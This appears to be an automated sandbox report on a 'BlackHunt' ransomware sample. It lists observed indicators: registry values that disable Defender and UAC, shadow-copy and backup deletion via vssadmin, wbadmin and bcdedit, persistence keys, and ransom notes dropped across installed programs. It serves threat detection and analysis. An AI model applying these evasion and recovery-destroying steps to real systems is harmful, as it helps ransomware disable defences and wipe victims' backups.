9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a

Data Destruction

T1485

pid	Process
5896	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3396	bcdedit.exe
5772	bcdedit.exe

Renames multiple (641) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3488	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\A:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\G:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\B:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\L:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\Q:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\O:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\H:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\N:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\W:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\Z:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\P:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\S:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\V:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\T:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\U:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\K:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\M:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\R:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\Y:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\J:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\X:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\CheckpointSearch.wm	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\release	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\Welcome.html	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\ResizeSubmit.eprtx	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_pt_BR.properties	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\tzmappings	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javafx.properties	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\images\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\meta-index	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightItalic.ttf	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\dom.md	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\cldr.md	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\content-types.properties	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_de.properties	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5260	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5360	vssadmin.exe
5936	vssadmin.exe
6052	vssadmin.exe
2532	vssadmin.exe
220	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	Process not Found
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeRestorePrivilege	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeBackupPrivilege	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeTakeOwnershipPrivilege	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeAuditPrivilege	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeSecurityPrivilege	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeIncBasePriorityPrivilege	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeBackupPrivilege	5464	vssvc.exe
Token: SeRestorePrivilege	5464	vssvc.exe
Token: SeAuditPrivilege	5464	vssvc.exe
Token: SeBackupPrivilege	6080	wbengine.exe
Token: SeRestorePrivilege	6080	wbengine.exe
Token: SeSecurityPrivilege	6080	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 1860	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	88
PID 1376 wrote to memory of 1860	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	88
PID 1376 wrote to memory of 4016	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	90
PID 1376 wrote to memory of 4016	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	90
PID 1376 wrote to memory of 1928	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	92
PID 1376 wrote to memory of 1928	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	92
PID 1376 wrote to memory of 3692	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	94
PID 1376 wrote to memory of 3692	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	94
PID 1376 wrote to memory of 2364	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	96
PID 1376 wrote to memory of 2364	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	96
PID 2364 wrote to memory of 1788	2364	cmd.exe	100
PID 2364 wrote to memory of 1788	2364	cmd.exe	100
PID 1928 wrote to memory of 2600	1928	cmd.exe	98
PID 1928 wrote to memory of 2600	1928	cmd.exe	98
PID 1860 wrote to memory of 4008	1860	cmd.exe	103
PID 1860 wrote to memory of 4008	1860	cmd.exe	103
PID 3692 wrote to memory of 5016	3692	cmd.exe	101
PID 3692 wrote to memory of 5016	3692	cmd.exe	101
PID 4016 wrote to memory of 1540	4016	cmd.exe	102
PID 4016 wrote to memory of 1540	4016	cmd.exe	102
PID 1376 wrote to memory of 1976	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	105
PID 1376 wrote to memory of 1976	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	105
PID 1376 wrote to memory of 4572	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	107
PID 1376 wrote to memory of 4572	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	107
PID 1376 wrote to memory of 3732	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	111
PID 1376 wrote to memory of 3732	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	111
PID 1376 wrote to memory of 1812	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	110
PID 1376 wrote to memory of 1812	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	110
PID 1376 wrote to memory of 2708	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	112
PID 1376 wrote to memory of 2708	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	112
PID 1376 wrote to memory of 4304	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	114
PID 1376 wrote to memory of 4304	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	114
PID 1376 wrote to memory of 4848	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	117
PID 1376 wrote to memory of 4848	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	117
PID 1376 wrote to memory of 2060	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	118
PID 1376 wrote to memory of 2060	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	118
PID 1376 wrote to memory of 4540	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	120
PID 1376 wrote to memory of 4540	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	120
PID 1376 wrote to memory of 844	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	123
PID 1376 wrote to memory of 844	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	123
PID 1376 wrote to memory of 4444	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	125
PID 1376 wrote to memory of 4444	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	125
PID 1376 wrote to memory of 1388	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	129
PID 1376 wrote to memory of 1388	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	129
PID 1376 wrote to memory of 4684	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	127
PID 1376 wrote to memory of 4684	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	127
PID 1376 wrote to memory of 2036	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	130
PID 1376 wrote to memory of 2036	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	130
PID 1376 wrote to memory of 2352	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	138
PID 1376 wrote to memory of 2352	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	138
PID 1376 wrote to memory of 4200	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	132
PID 1376 wrote to memory of 4200	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	132
PID 1376 wrote to memory of 2416	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	135
PID 1376 wrote to memory of 2416	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	135
PID 1376 wrote to memory of 632	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	134
PID 1376 wrote to memory of 632	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	134
PID 1376 wrote to memory of 1436	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	141
PID 1376 wrote to memory of 1436	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	141
PID 1376 wrote to memory of 5068	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	140
PID 1376 wrote to memory of 5068	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	140
PID 1376 wrote to memory of 1992	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	146
PID 1376 wrote to memory of 1992	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	146
PID 1376 wrote to memory of 588	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	144
PID 1376 wrote to memory of 588	1376	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	144

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
